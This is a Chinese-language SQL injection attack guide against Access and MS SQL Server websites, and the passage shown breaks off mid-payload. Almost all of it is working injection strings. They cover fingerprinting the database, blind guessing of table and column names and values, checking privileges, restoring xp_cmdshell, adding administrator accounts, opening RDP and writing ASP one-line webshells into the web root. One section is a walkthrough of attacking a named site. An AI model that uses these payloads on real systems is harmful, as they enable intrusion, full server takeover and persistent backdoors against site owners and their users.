判断数据库类型
1.网站注入点后面加上 and user>0
如果返回Microsoft OLE DB Provider for SQL Server 错误 '80040e07' 为MS SQL 数据库
如果返回Microsoft OLE DB pROVIDER FOR ODBC Driver 错误 '80040e10' 为Access数据库
方法2.
在注入点提交如下语句
and (select count(*) from sysobjects) >= 0
and (select count(*) from msysobjects) >= 0
Access存在系统表[msysobjects],不存在“sysobjects”表 MS SQL Server存在系统表[sysobjects]
2.猜数据库表名
在注入点后提交以下语句
and exists(select * from 数据库表明)
或者
and (select count(*) from 数据库表明) >= 0
3.猜字段名及字段长度
and exists(select 字段名 from 数据库表名)
或者
and (select count(字段名) from 数据库表名) >= 0
and (select top 1 len(字段名) from 数据库表名) > 1
and (select top 1 len(字段名) from 数据库表名) > 2
and (select top 1 len(字段名) from 数据库表名) > 3
and (select top 1 len(字段名) from 数据库表名) > 4
and (select top 1 len(字段名) from 数据库表名) > n-1
and (select top 1 len(字段名) from 数据库表名) > n
4.猜字段值 ASCII
and (select top 1 asc(mid(字段名,1,1)) from 数据库表名) > 0
and (select top 1 asc(mid(字段名,1,1)) from 数据库表名) > 1
and (select top 1 asc(mid(字段名,1,1)) from 数据库表名) > n-1
and (select top 1 asc(mid(字段名,1,1)) from 数据库表名) > n
同理
and (select top 1 asc(mid(字段名,2,1)) from 数据库表名) > 0
4.注入检测
order by 检测字段长度
and 0 <> (select count(*) from 表名) 检测表名
union select 1,2,......n-1,n from 表名
MsSQL 数据库高级注入检测
1. 判断是否为MsSQL注入点
and exists (select * from sysobjects) 如果返回正常页面,说明为MsSQL
2. 判断注入点权限
and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员
and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限
and 1=(select is_srvrolemember('public')) //判断是否为public权限
第一条语句如果返回正常页面,说明具有sa权限,可以利用扩展存储攻击 如果数据库与web服务器是一个服务器,默认情况下可以
通过MsSQL自带的存储过程对整个服务器控制,如果页面出错,说明不具备sa权限
3.MsSQL 返回信息判断
提交 and @@version>0
从页面返回的错误信息中,,可以得到数据库的版本信息 。如果页面出错,但未返回可利用的信息,说明MsSQL关闭了错误
信息提示,在猜解数据库内容时,就不能用暴库方法了,只能用union select联合查询或盲注攻击方法。
;declare @id int //判断MsSQL支持多行语句查询
and (select count(1) from [sysobjects]) >= 0 //是否支持子查询
and user > 0 //获取当前数据库用户名
and db_name > 0 //获取当前数据库名称
and 1=convert(int,db_name()) //当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select HAS_DBACCESS('master')) //判断是否有库读取权限
4.利用MsSQL扩展存储注入攻击
检测与恢复扩展存储
提交 and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
可判断xp_cmdshell扩展存储是否存在
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread')
可查看xp_regread扩展存储过程是否被删除,如果扩展被删除可进行恢复
;exec sp_dropextendedproc 'xp_cmdshell' 然后执行
;exec sp_addextendedproc xp_cmdshell,'xplog70.dll' 该语句是利用系统中默认的"xplog70.dll",文件,自动恢复
xp_cmdshell
如果不成功,说明被删除了这个文件,可以上传一个"xplog70.dll"自定义路径恢复
攻击中最常利用的扩展存储
1. xp_cmdshell - 利用此存储过程可以直接执行系统命令。
2. xp_regread - 利用此存储过程可以进行注册表读取。
3. xp_regwrite - 利用此存储过程可以写入注册表。
4. xp_dirtree - 利用此存储过程可以进行列目录操作。
5. xp_enumdsn - 利用此存储过程可以进行ODBC连接。
6. xp_loginconfig - 利用此存储过程可以配置服务器安全模式信息。
7. xp_makecab - 利用此存储过程可以创建压缩卷
8. xp_ntsec_enumdomains - 利用此存储过程可以查看domain信息。
9. xp_terminate_process - 利用此存储过程可以查看终端进程,给出一个进程pid。
5. sa权限下扩展存储过程攻击利用方法
EXEC sp_configure'show advanced options',1--
RECONFIGURE WITH OVERRIDE--
EXEC sp_configure'xp_cmdshell',1--
RECONFIGURE WITH OVERRIDE--
EXEC sp_configure'show advanced options',0-- //打开cmdshell
1. xp_cmdshell扩展执行任意命令。
;exec master . . xp_cmdshell 'dir c:\' //查看c盘目录
直接添加管理员账号
;exec master . . xp_cmdshell 'net user test test /add'
;exec master . . xp_cmdshell 'net localgroup administrators test /add'
开3389远程连接命令,并修改端口
; exec master . . xp_cmdshell 'sc config termservice start = auto'
; exec master . . xp_cmdshell 'net start termservice'
; exec master . . xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrenControlSet\Control\TerminalServer"
/v fDenyTSConnections /t REG_DWORD /d 0x0 /f' //允许外部连接
;exec master . . xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\
WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD' //改端口到80
2. xp_regwrite 操作注册表与开启沙盒模式
在sa权限下可以调用xp_regwrite写入注册表
;xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','black','REG_SZ','net
user test test /add'
利用xp_regwrite来开启沙盒模式,执行系统命令
execmaster . . xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet
\4.0\Engines','SandBoxMode','REG_DWORD', 1
然后利用jet.oledb执行命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select
shell("net user test test /add")')
注意:如果主人点的参数是integer 数字型,就可以指定“ias.mdb”数据库;如果是string字符串则可指定连
接"dnary.mdb".如果是Windows2000系统,
数据库的路径应该指定为"x:\winnt\system32\ias\ias.mdb".
3. 利用sp_makewebtask写入一句话木马
exec sp_makewebtask 'c:\inetpub\wwwroot\yjh.asp','select' '%3c
%25%65%78%65%63%75%74%65%72%65%71%75%65%73%74%28%22%76%61%
6c%75%65%22%29%25%3E' ' '--
木马路径c:\inetpub\wwwroot\yjh.asp
6. dbowner权限下的扩展攻击利用
当注入点为dbo权限时,通常首先利用xp_dirtree扩展存储列出Web目录,然后利用sql语句创建一个临时表,插入一句话
木马到临时表中,然后利用数据库备份语句
经数据库备份到web目录并保存为asp格式文件,既得到一个一句话后们!
1.判断数据库用户权限
首先,需要判断当前数据库用户是否为db_owner权限
在注入点后执行 and 1=(SELECT IS_MEMBER('db_owner'));--
如果返回正常说明的确是db_owner权限
2. 搜索web目录
当web服务器与数据库在同一服务器主机上时,就可以备份一句话木马到web目录了,但在备份一句话木马前,首先要
搜索web目录。
;create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY
(1,1));--
该语句可创建一个临时表,一共四个字段,前三个字段用于存放执行存储过程xp_dirtree返回的结果,ID字段则方便
查询指定内容。
;insert into temp(dir,depth,files) exec master.dbo.xp_dirtree 'c:',1,1--
利用xp_dirtree扩展查询,将指定目录的文件和文件夹名称插入到临时表中,这里查询的是c盘目录路径。再执行
and (select dir from temp where id=1)>0
该语句是查询临时表中的内容,也就是指定的目录文件和文件夹名,由于不能一次性获取所有目录文件和文件夹名,
因此需要更改ID的值,
依次列出文件和文件夹来。通过此方法遍历所有盘符,从而找到web目录路径。
3. 写入一句话木马
找到目录后,写入一句话木马,在注入点后依次执行下面语句,
;alter database news set RECOVERY FULL
;create table test(str image)--
;backup log news to disk='c:\test' with init--
;insert into test(str) values('<%excute(request("cmd"))%>')--
;backup log news to disk='c:\Inetpub\wwwroot\yjh.asp'--
;alter database news set RECOVERY simple
执行完毕后,就会在指定的web目录下生成一个名为“yjh.asp”的后门文件,用一句话连接就可以了!
1. MsSQL注入攻击华谊网
在注入点后面提交 and exists(select * from sysobjects) //如果返回正常信息,说明为MsSQL注入点
在注入点后面提交 and system_user=0
//其中system_user是查询当前数据库的用户名,返回值是字符型,因此在与数字int整形数据进行比较时,会因为类型不匹配而造成数据库报错。从返回
的错误信息中,可以得知当前系统用户名,,。再爆一下当前用户名,再提交连接!
在注入点后提交 and user=0 //用户返回dbo。如果返回sa,那么可以直接判断出用户的权限,但是这里只有提交如下连接查询权限,
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin')) //返回正常页面,可知为sa权限,考虑用扩展存储进行攻击,再来检测一下是否支持多行语句
提交 %20;declare %20@d%20int
检测扩展存储
提交 and 1=(select count(*) FROM master.dbo.sysobjects where name ='xp_cmdshell') //如果返回正常,说明扩展存储存在
如果数据库已经开启远程终端服务,允许管理计算机,可以直接通过存储过程执行系统命令,添加管理员账号,然后登陆服务器
添加用户 ;exec master . . xp_cmdshell 'net user test test /add'
提升管理员: ;exec master . . xp_cmdshell 'net localgroup administrators test /add'
查看命令执行结果
提交 ;drop table black;create TABLE black(result varchar(7996) NULL, ID int NOT NULL IDENTITY(1,1))--
;insert into black exec master . . xp_cmdshell 'ipconfig /all'--
and (select result from black where id=1)>0-- ip要更换查询 ping命令 24.36上面
写入一句话,转化为url格式<%execute(request("a"))%>
2,MsSQL注入猜解数据库技术
1.having与group by 查询爆表名与字段名
在注入点地址后提交"having 1=1--",从返回的错误信息中既可得到当前表明与第一个字段名。再继续提交以下代码。
group by 字段名 1 having 1=1--
从页面返回的错误信息中可以得到第二个字段名,继续提交以下代码,
group by 字段名1,字段名2 having 1=1--
返回第三个字段名,继续提交以下代码 410
group by 字段名1,字段名2,字段名3,.......字段名n having 1=1--
直到页面返回正常信息,即可得到所有的字段名
2. order by 与数据库类型转换暴库错发
爆所有数据库名
提交 and db_name()=0-- //从返回信息中可以获得当前数据库名
and db_name(n)>0-- //爆出所有的数据库名
爆所有表名
and (select cast(count(1) as varchar(10))%2bchar(94) from [sysobjects] where xtype=char(85) and status!=0)=0--